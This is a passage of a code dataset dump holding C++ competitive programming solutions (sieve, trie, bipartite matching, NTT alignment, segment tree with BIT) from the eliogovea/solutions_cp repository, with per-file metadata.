true;\n\t\t\t\tdepth[v] = depth[u] + 1;\n\n\t\t\t\tif (g[v].size() == 1) {\n\t\t\t\t\tpossible[v] = true;\n\t\t\t\t}\n\n\t\t\t\tst[top++] = make_pair(v, 0);\n\t\t\t} else if (depth[v] < depth[u]) {\n\t\t\t\tif (g[u].size() == 2) {\n\t\t\t\t\tpossible[u] = true;\n\t\t\t\t}\t\t\n\t\t\t\tint x = u;\n\t\t\t\twhile (p[x] != v) {\n\t\t\t\t\tx = p[x];\n\t\t\t\t}\n\t\t\t\tif (g[x].size() == 2) {\n\t\t\t\t\tpossible[x] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\ttop--;\n\t\t}\n\n\t}\n/*\n\tfor (int i = 1; i <= n; i++) {\n\t\tif (possible[i]) {\n\t\t\tcerr << i << \"\\n\";\n\t\t}\n\t}\n*/\n\tint answer = 0;\n\tfor (int i = 1; i <= n; i++) {\n\t\tif (possible[i]) {\n\t\t\tanswer++;\n\t\t}\n\t}\n\n\tcout << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4032258093357086, "alphanum_fraction": 0.44134896993637085, "avg_line_length": 18.66666603088379, "blob_id": "1532a4a9988a9677dbe187a1470ee8f5cdcbb5b3", "content_id": "b4f8209c7b0a8f22ba4f7aec26277476724c7852", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 682, "license_type": "no_license", "max_line_length": 43, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p1817-Accepted-s544027.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#define MAXC 1000010\r\n#define MAX 1000000\r\nusing namespace std;\r\n\r\nvector<int> p;\r\nvector<int>::iterator vit;\r\nbool s[MAXC];\r\nint n,x,c1,c2,a1[MAXC],a2[MAXC];\r\nint main()\r\n{\r\n for(int i=2; i*i<=MAX; i++)\r\n for(int j=i*i; j<=MAX; j+=i)\r\n if(!s[j])s[j]=1;\r\n\r\n for(int i=2; i<=MAX; i++)\r\n if(!s[i])p.push_back(i);\r\n\r\n for(vit=p.begin(); vit!=p.end(); vit++)\r\n {\r\n for(int j=*vit; j<=MAX; j+=*vit)\r\n a1[j]++;\r\n for(int i=1; i*(*vit)<=MAX; i++)\r\n a2[i]++;\r\n }\r\n\r\n for(scanf(\"%d\",&n);n--;)\r\n {\r\n scanf(\"%d\",&x);\r\n printf(\"%d %d\\n\",a1[x],a2[x]);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.35218092799186707, "alphanum_fraction": 0.3990306854248047, "avg_line_length": 18.129032135009766, "blob_id": "2e98928b05250c38a5c2cfa4eec443f1cbc06ed1", "content_id": "14c677845af1bbe580a3ec6d3fe25d4afbc09606", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 619, "license_type": "no_license", "max_line_length": 74, "num_lines": 31, "path": "/Timus/1146-6162877.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1146\n// Verdict: Accepted\n\n#include <iostream>\r\nusing namespace std;\r\n\r\nint n, a[105][105], mx[105], ans = -1e9;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tcin >> a[i][j];\r\n\t\t\ta[i][j] += a[i - 1][j];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= i; j++) {\r\n\t\t\tmx[0] = -1e9;\r\n\t\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\t\tmx[k] = max(mx[k - 1] + a[i][k] - a[j - 1][k], a[i][k] - a[j - 1][k]);\r\n\t\t\t\tif (mx[k] > ans) {\r\n\t\t\t\t\tans = mx[k];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.40435460209846497, "alphanum_fraction": 0.4269051253795624, "avg_line_length": 13.129411697387695, "blob_id": "11738a05f13c51ddd6bae7c7a18e8b822d35d58e", "content_id": "4c9d64fbb8364aaef7f35327ce0023e47a983728", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1286, "license_type": "no_license", "max_line_length": 48, "num_lines": 85, "path": "/COJ/eliogovea-cojAC/eliogovea-p2119-Accepted-s543489.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstdio>\r\n#define MAXN 100000\r\nusing namespace std;\r\n\r\ntypedef string::iterator si;\r\n\r\nstruct trie\r\n{\r\n\tbool fin;\r\n\ttrie *next[27];\r\n};\r\n\r\nstring w[MAXN];\r\n\r\nvoid del(trie *x)\r\n{\r\n\tfor(int i=0; i<26; i++)\r\n\t\tif(x->next[i]!=NULL)\r\n\t\t\tdel(x->next[i]);\r\n\tdelete(x);\r\n}\r\n\r\nint n,sum;\r\n\r\nint main()\r\n{\r\n\twhile(cin >> n)\r\n\t{\r\n\t\ttrie *root = new trie();\r\n\r\n\t\tfor(int i=0; i<n; i++)\r\n\t\t{\r\n\t\t\tcin >> w[i];\r\n\t\t\ttrie *ptr = root;\r\n\t\t\tfor(si it=w[i].begin(); it!=w[i].end(); it++)\r\n\t\t\t{\r\n\t\t\t\tint k=*it-'a'+1;\r\n\t\t\t\tif(ptr->next[k]==NULL)\r\n\t\t\t\t\tptr->next[k]=new trie();\r\n\t\t\t\tptr=ptr->next[k];\r\n\t\t\t}\r\n\t\t\tptr->fin=1;\r\n\t\t}\r\n\t\tfor(int i=0; i<n; i++)\r\n\t\t{\r\n\t\t\ttrie *ptr = root;\r\n\t\t\tint cant=w[i].size();\r\n\t\t\tfor(si it=w[i].begin(); it!=w[i].end(); it++)\r\n\t\t\t{\r\n\t\t\t\tint b=1,\r\n\t\t\t\tk=*it-'a'+1;\r\n\t\t\t\tif(ptr->fin)b=0;\r\n\t\t\t\telse for(int r=0; r<27; r++)\r\n\t\t\t\t\t\tif(ptr->next[r]!=NULL && r!=k)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tb=0;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\tcant-=b;\r\n\t\t\t\tptr=ptr->next[k];\r\n\t\t\t}\r\n\t\t\tsum+=cant;\r\n\t\t}\r\n\r\n\t\tchar first=w[0][0];\r\n\r\n\t\tint mas=n;\r\n\r\n\t\tfor(int i=1; i<n; i++)\r\n if(w[i][0]!=first)\r\n {\r\n mas=0;\r\n break;\r\n }\r\n\r\n sum+=mas;\r\n\r\n\t\tprintf(\"%.2lf\\n\",(double)sum/(double)n);\r\n\r\n\t\tsum=0;\r\n\r\n\t\tdel(root);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38195356726646423, "alphanum_fraction": 0.3985983431339264, "avg_line_length": 15.427480697631836, "blob_id": "01f9b381205fe25ba4a0b433703b737c8d240685", "content_id": "cdf670d30c051ec1d26ba066aba576f96ec42709", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2283, "license_type": "no_license", "max_line_length": 63, "num_lines": 131, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/H4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 500 + 10;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\n\r\nbool vis[N];\r\nint match[N];\r\n\r\nbool dfs(int u) {\r\n\tif (vis[u]) {\r\n\t\treturn false;\r\n\t}\r\n\tvis[u] = true;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (match[v] == -1 || dfs(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nbool matchedL[N], matchedR[N];\r\n\r\nvector <int> g1[2 * N];\r\n\r\nbool ok[2 * N];\r\n\r\nbool used[2 * N];\r\n\r\nbool dfs2(int u) {\r\n // cerr << \"-->> \" << u << \"\\n\";\r\n\tif (u <= n && !matchedL[u]) {\r\n\t\treturn true;\r\n\t}\r\n\tused[u] = true;\r\n\tfor (int i = 0; i < g1[u].size(); i++) {\r\n\t\tint v = g1[u][i];\r\n\t\tif (!used[v]) {\r\n\t\t\tif (dfs2(v)) {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"input001.txt\", \"r\", stdin);\r\n\r\n\tcin >> n >> m;\r\n\tstring line;\r\n\tgetline(cin, line);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tgetline(cin, line);\r\n\t\tstringstream in(line);\r\n\t\tint x;\r\n\t\twhile (in >> x) {\r\n\t\t\tg[i].push_back(x);\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tmatch[i] = -1;\r\n\t}\r\n\r\n int mt = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tvis[j] = false;\r\n\t\t}\r\n\t\tmt += dfs(i);\r\n\t}\r\n\t// cerr << \"max match \" << mt << \"\\n\";\r\n\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tif (match[i] != -1) {\r\n // cerr << match[i] << \" \" << i << \"\\n\";\r\n\t\t\tmatchedL[match[i]] = true;\r\n\t\t\tmatchedR[i] = true;\r\n\t\t\tok[match[i]] = true;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int u = 1; u <= n; u++) {\r\n\t\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\t\tint v = g[u][i];\r\n\t\t\tif (match[v] == u) {\r\n // cerr << \"to left \" << u << \" \" << v << \"\\n\";\r\n\t\t\t\tg1[u].push_back(n + v);\r\n\t\t\t} else {\r\n\t\t\t // cerr << \"to right \" << u << \" \" << v << \"\\n\";\r\n\t\t\t\tg1[n + v].push_back(u);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (matchedL[i]) {\r\n\t\t\tfor (int i = 1; i <= n + m; i++) {\r\n\t\t\t\tused[i] = false;\r\n\t\t\t}\r\n\t\t\t// cerr << \"start dfs\\n\";\r\n\t\t\tif (dfs2(i)) {\r\n\t\t\t\tok[i] = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvector <int> ans;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (ok[i]) {\r\n\t\t\tans.push_back(i);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < ans.size()) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36316990852355957, "alphanum_fraction": 0.3854047954082489, "avg_line_length": 21.386667251586914, "blob_id": "a5ed413881c0011d787c1d8441db779d467026b6", "content_id": "85d38b8053b7a66b67086882c8a5850f9ebb42cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3508, "license_type": "no_license", "max_line_length": 65, "num_lines": 150, "path": "/COJ/eliogovea-cojAC/eliogovea-p3807-Accepted-s1120079.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 250 * 1000 + 5;\r\nconst int MOD = (1 << 27) + (1 << 25) + 1;\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) res = (long long)res * x % MOD;\r\n\t\tx = (long long)x * x % MOD;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint roots[50], invRoots[50];\r\n\r\nvoid calcRoots() { // !!!\r\n\tint a = 2;\r\n\twhile (power(a, (MOD - 1) / 2) != MOD - 1) a++;\r\n\tfor (int l = 1, e = 0; (MOD - 1) % l == 0; l *= 2, e++) {\r\n\t\troots[e] = power(a, (MOD - 1) / l);\r\n\t\tinvRoots[e] = power(roots[e], MOD - 2);\r\n\t}\r\n}\r\n\r\nvoid fft(vector <int> &P, bool invert) {\r\n\tint n = P.size();\r\n\tassert((n > 0) && (n == (n & -n)) && ((MOD - 1) % n == 0));\r\n\tint ln = 0;\r\n\twhile ((1 << ln) < n) ln++;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x = i;\r\n\t\tint y = 0;\r\n\t\tfor (int j = 0; j < ln; j++) {\r\n\t\t\ty = (y << 1) | (x & 1);\r\n\t\t\tx >>= 1;\r\n\t\t}\r\n\t\tif (y < i) swap(P[i], P[y]);\r\n\t}\r\n\tfor (int l = 2, e = 1; l <= n; l *= 2, e++) {\r\n\t\tint hl = l >> 1;\r\n\t\tint step = roots[e];\r\n\t\tif (invert) step = invRoots[e];\r\n\t\tfor (int i = 0; i < n; i += l) {\r\n\t\t\tint w = 1;\r\n\t\t\tfor (int j = 0; j < hl; j++) {\r\n\t\t\t\tint u = P[i + j];\r\n\t\t\t\tint v = (long long)P[i + j + hl] * w % MOD;\r\n\t\t\t\tP[i + j] = (u + v) % MOD;\r\n\t\t\t\tP[i + j + hl] = (u - v + MOD) % MOD;\r\n\t\t\t\tw = (long long)w * step % MOD;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (invert) {\r\n\t\tint in = power(n, MOD - 2);\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tP[i] = (long long)P[i] * in % MOD;\r\n\t}\r\n}\r\n\r\nvector <int> mul(vector <int> a, vector <int> b) {\r\n int need = (int)a.size() + (int)b.size() - 1;\r\n int n = 1;\r\n while (n < 2 * (int)a.size() || n < 2 * (int)b.size()) n <<= 1;\r\n a.resize(n);\r\n b.resize(n);\r\n fft(a, false);\r\n fft(b, false);\r\n for (int i = 0; i < n; i++)\r\n\t\ta[i] = (long long)a[i] * b[i] % MOD;\r\n fft(a, true);\r\n a.resize(need);\r\n return a;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcalcRoots();\r\n\r\n\tstring a, b;\r\n\tconst string S = \"ACGT\";\r\n\twhile (cin >> a >> b) {\r\n\t\tvector <int> sum(a.size() + b.size() - 1);\r\n\t\tfor (int c = 0; c < 4; c++) {\r\n\t\t\tvector <int> pa(a.size());\r\n\t\t\tfor (int i = 0; i < a.size(); i++) {\r\n\t\t\t\tif (S[c] == a[i]) {\r\n\t\t\t\t\tpa[i] = 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tvector <int> pb(b.size());\r\n\t\t\tfor (int i = 0; i < b.size(); i++) {\r\n\t\t\t\tif (S[c] == b[i]) {\r\n\t\t\t\t\tpb[i] = 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\treverse(pb.begin(), pb.end());\r\n\t\t\tvector <int> ab = mul(pa, pb);\r\n\t\t\tfor (int i = 0; i < ab.size(); i++) {\r\n\t\t\t\tsum[i] += ab[i];\r\n\t\t\t}\r\n\t\t}\r\n\t\tint sz = sum.size();\r\n\t\tint pos = sz - 1;\r\n\t\tfor (int i = sz - 2; i >= 0; i--) {\r\n\t\t\tif (sum[i] > sum[pos]) {\r\n\t\t\t\tpos = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << \"____>>>> \" << pos << \" \" << sum[pos] << \"\\n\";\r\n\t\tif (sum[pos] == 0) {\r\n\t\t\tcout << \"0\\nNo matches\\n\\n\";\r\n\t\t} else {\r\n\t\t\tcout << sum[pos] << \"\\n\";\r\n\t\t\tif (pos >= b.size() - 1) {\r\n\t\t\t\tint d = pos - (b.size() - 1);\r\n\t\t\t\tint l = max(a.size(), d + b.size());\r\n\t\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\t\tif (i < a.size() && (i >= d && i - d < b.size())) {\r\n\t\t\t\t\t\tcout << ((a[i] == b[i - d]) ? a[i] : 'X');\r\n\t\t\t\t\t} else if (i < a.size()) {\r\n\t\t\t\t\t\tcout << a[i];\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tcout << b[i - d];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint d = b.size() - (pos + 1);\r\n\t\t\t\tint l = max(b.size(), d + a.size());\r\n\t\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\t\tif (i >= d && i < d + a.size() && i < b.size()) {\r\n\t\t\t\t\t\tcout << ((a[i - d] == b[i]) ? b[i] : 'X');\r\n\t\t\t\t\t} else if (i >= d && i < d + a.size()) {\r\n\t\t\t\t\t\tcout << a[i - d];\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tcout << b[i];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4399999976158142, "alphanum_fraction": 0.4847058951854706, "avg_line_length": 20.36842155456543, "blob_id": "dd1cb0ebf3f153e718d1b21d38fd8f64d94d9c18", "content_id": "f2c0b199ff1ad0913c205ca89f1364fa5b2287ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 425, "license_type": "no_license", "max_line_length": 68, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2432-Accepted-s609257.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100010;\r\n\r\nint n, arr[MAXN];\r\n\r\nint main() {\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n\t\tfor (int i = 1; i <= n; i++) scanf(\"%d\", arr + i);\r\n\t\tsort(arr + 1, arr + n + 1);\r\n\t\tif (n & 1) printf(\"%.1lf\\n\", (double)arr[(n + 1) / 2]);\r\n\t\telse {\r\n\t\t\tdouble sol = ((double)arr[n / 2] + (double)arr[n / 2 + 1]) / 2.0;\r\n\t\t\tprintf(\"%.1lf\\n\", sol);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.336448609828949, "alphanum_fraction": 0.36915886402130127, "avg_line_length": 19.299999237060547, "blob_id": "051061d8634f5e6b4e87ba0ea43ba8695c4ce1fe", "content_id": "456000fef853767be7f50c799f7d9b9610167027", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 428, "license_type": "no_license", "max_line_length": 64, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1278-Accepted-s471995.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint a[6];\r\ndouble s;\r\n\r\nint main(){\r\n while(1){\r\n s=0;\r\n bool b=0;\r\n for(int i=0; i<6; i++){cin >> a[i];if(a[i]!=0)b=1;}\r\n if(!b)break;\r\n sort(a,a+6);\r\n for(int i=1; i<5; i++)s+=double(a[i]);\r\n s/=4.0;\r\n cout << s << endl;\r\n }\r\n return 0;\r\n }\r\n\r\n" }, { "alpha_fraction": 0.3569277226924896, "alphanum_fraction": 0.3878012001514435, "avg_line_length": 21.491525650024414, "blob_id": "c4cabbdbe4f189386dd063c2a3d424fa5394c675", "content_id": "4c054dacbceaf7908aaec1c5a655ddb374b3fd40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1328, "license_type": "no_license", "max_line_length": 80, "num_lines": 59, "path": "/Codechef/CHSGMNTS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1005;\n\nint t;\nint n;\nint a[N], b[N];\nvector <int> v[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t\tb[i] = a[i];\n\t\t}\n\t\tsort(b, b + n);\n\t\tint cnt = unique(b, b + n) - b;\n\t\tfor (int i = 0; i < cnt; i++) {\n v[i].clear();\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\ta[i] = lower_bound(b, b + cnt, a[i]) - b;\n\t\t\tv[a[i]].push_back(i);\n\t\t}\n\t\tlong long ans = 0;\n\t\tfor (int d = n - 1; d > 0; d--) {\n\t\t\tset <int> S;\n\t\t\tS.insert(-1);\n\t\t\tS.insert(d + 1);\n\t\t\tint total = (d + 1) * (d + 2) / 2;\n\t\t\tfor (int c = d; c > 0; c--) {\n\t\t\t\tif (S.find(c) == S.end()) {\n\t\t\t\t\tint x = a[c];\n\t\t\t\t\tfor (int i = 0; i < v[x].size(); i++) {\n if (v[x][i] > d) {\n continue;\n }\n\t\t\t\t\t\tset <int>::iterator it1 = S.lower_bound(v[x][i]);\n\t\t\t\t\t\tset <int>::iterator it2 = it1; it1--;\n\t\t\t\t\t\tint dt = *it2 - *it1 - 1;\n\t\t\t\t\t\tint d1 = v[x][i] - *it1 - 1;\n\t\t\t\t\t\tint d2 = *it2 - v[x][i] - 1;\n\t\t\t\t\t\ttotal = total - dt * (dt + 1) / 2 + d1 * (d1 + 1) / 2 + d2 * (d2 + 1) / 2;\n\t\t\t\t\t\tS.insert(v[x][i]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//cout << \"DEBUG \" << d << \" \" << total << \"\\n\";\n\t\t\t\tans += (long long)total;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.33484163880348206, "alphanum_fraction": 0.36199095845222473, "avg_line_length": 13.241379737854004, "blob_id": "5d89dd4ed5325d0d70a18a1c34b0861fee3d1ee1", "content_id": "ad7d1400efad43ee1caa049580a84a8dca790a5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 442, "license_type": "no_license", "max_line_length": 40, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1756-Accepted-s554728.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000010\r\n\r\nint cas,n,m,x,ac,arr[MAXN],sol;\r\n\r\nint main()\r\n{\r\n\r\n\tfor( scanf( \"%d\", &cas ); cas--; )\r\n\t{\r\n\t\tscanf( \"%d%d\", &m, &n );\r\n\r\n\t\tac = sol = 0;\r\n\r\n\t\tfor( int i = 1; i <= n; i++ )\r\n\t\t{\r\n\t\t\tscanf( \"%d\", &x );\r\n\t\t\tac = ( ac + x ) % m;\r\n\t\t\tif( ac == 0 )sol++;\r\n\t\t\tsol += arr[ac]++;\r\n\t\t}\r\n\r\n\t\tprintf( \"%d\\n\", sol );\r\n\r\n\t\tif( cas )\r\n for( int j = 0; j < m; j++ )\r\n arr[j] = 0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4412628412246704, "alphanum_fraction": 0.47466960549354553, "avg_line_length": 17.15999984741211, "blob_id": "5af468cd6e59a8395d5e44847607f3fa54281610", "content_id": "148f2d66eab05a49e6842954b1cd43f2fb69a9dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2724, "license_type": "no_license", "max_line_length": 117, "num_lines": 150, "path": "/Codeforces-Gym/100526 - 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8\n// 100526E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct ob {\n\tint r1, r2, r3;\n};\n\nbool operator < (const ob &a, const ob &b) {\n\treturn a.r1 < b.r1;\n}\n\n\n\nstruct BIT {\n\tint n;\n\tvector <int> v;\n\tBIT() {}\n\tBIT(int _n) {\n\t\tn = _n;\n\t\tv.resize(n + 5);\n\t}\n\tvoid update(int p, int val) {\n\t\twhile (p <= n) {\n //cout << p << \"\\n\";\n\t\t\tv[p] += val;\n\t\t\tp += p & -p;\n\t\t}\n\t}\n\tint query(int p) {\n\t\tint res = 0;\n\t\twhile (p > 0) {\n\t\t\tres += v[p];\n\t\t\tp -= p & -p;\n\t\t}\n\t\treturn res;\n\t}\n};\n\nstruct data {\n\tint n;\n\tBIT bit;\n\tvector <int> y;\n};\n\ndata operator + (const data &a, const data &b) {\n\tvector <int> v;\n\tv.resize(a.n + b.n);\n\tint pa = 0;\n\tint pb = 0;\n\tint pv = 0;\n\twhile (pa < a.n && pb < b.n) {\n\t\tif (a.y[pa] < b.y[pb]) {\n\t\t\tv[pv++] = a.y[pa++];\n\t\t} else {\n\t\t\tv[pv++] = b.y[pb++];\n\t\t}\n\t}\n\twhile (pa < a.n) {\n\t\tv[pv++] = a.y[pa++];\n\t}\n\twhile (pb < b.n) {\n\t\tv[pv++] = b.y[pb++];\n\t}\n\treturn (data) {a.n + b.n, BIT(a.n + b.n), v};\n}\n\nconst int N = 100005;\n\nint n;\nob arr[N];\n\ndata ST[4 * N];\n\nvoid build(int x, int l, int r) {\n\tif (l == r) {\n ST[x].n = 1;\n\t\tST[x].bit = BIT(1);\n\t\tST[x].y = vector <int> (1, arr[l].r3);\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tint ls = x + x, rs = ls + 1;\n\t\tbuild(ls, l, mid);\n\t\tbuild(rs, mid + 1, r);\n\t\tST[x] = ST[ls] + ST[rs];\n\t}\n\n}\n\nbool cmp2(const ob &a, const ob &b) {\n return a.r2 < b.r2;\n}\n\nvoid update(int x, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tint pos = upper_bound(ST[x].y.begin(), ST[x].y.end(), v) - ST[x].y.begin();\n\tST[x].bit.update(pos, 1);\n\tif (l != r) {\n\t\tint mid = (l + r) >> 1;\n\t\tint ls = x + x, rs = ls + 1;\n\t\tupdate(ls, l, mid, p, v);\n\t\tupdate(rs, mid + 1, r, p, v);\n\t}\n}\n\nbool query(int x, int l, int r, int ql, int qr, int Y) {\n\tif (l > qr || r < ql) {\n\t\treturn false;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\tint pos = upper_bound(ST[x].y.begin(), ST[x].y.end(), Y) - ST[x].y.begin();\n\t\tint sum = ST[x].bit.query(pos);\n\t\treturn (sum > 0);\n\t}\n\tint mid = (l + r) >> 1;\n\tint ls = x + x, rs = ls + 1;\n\tbool q1 = query(ls, l, mid, ql, qr, Y);\n\tbool q2 = query(rs, mid + 1, r, ql, qr, Y);\n\treturn (q1 | q2);\n}\n\nint t;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tcin >> arr[i].r1 >> arr[i].r2 >> arr[i].r3;\n\t\t}\n\t\tsort(arr + 1, arr + n + 1, cmp2);\n\t\tbuild(1, 1, n);\n\t\tsort(arr + 1, arr + n + 1);\n\t\tint ans = 0;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tbool ex = query(1, 1, n, 1, arr[i].r2 - 1, arr[i].r3 - 1);\n\t\t\tif (ex) ans++;\n\t\t\tupdate(1, 1, n, arr[i].r2, arr[i].r3);\n\t\t}\n\t\tcout << n - ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.34926050901412964, "alphanum_fraction": 0.37542662024497986, "avg_line_length": 19.44186019897461, "blob_id": "d8f681c02762f1f1fe2de9d5adcc78ceb454349a", "content_id": "732315c954f8d2eade8e3984538e40efa299a03b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 879, "license_type": "no_license", "max_line_length": 77, "num_lines": 43, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n LL n, k;\n cin >> n >> k;\n vector <LL> a(n);\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n sort(a.begin(),a.end());\n LL lo = a[0] + a[1];\n LL hi = a[n - 1] + a[n - 2];\n LL ans = hi;\n while (lo <= hi) {\n LL mid = (lo + hi) >> 1LL;\n LL cnt = 0;\n for (int i = 0; i < n && a[i] <= mid; i++) {\n LL pos = upper_bound(a.begin(), a.end(), mid - a[i]) - a.begin();\n if (pos > i) {\n cnt += pos - i - 1LL;\n }\n }\n if (cnt >= k) {\n ans = mid;\n hi = mid - 1LL;\n } else {\n lo = mid + 1LL;\n }\n }\n cout << ans << 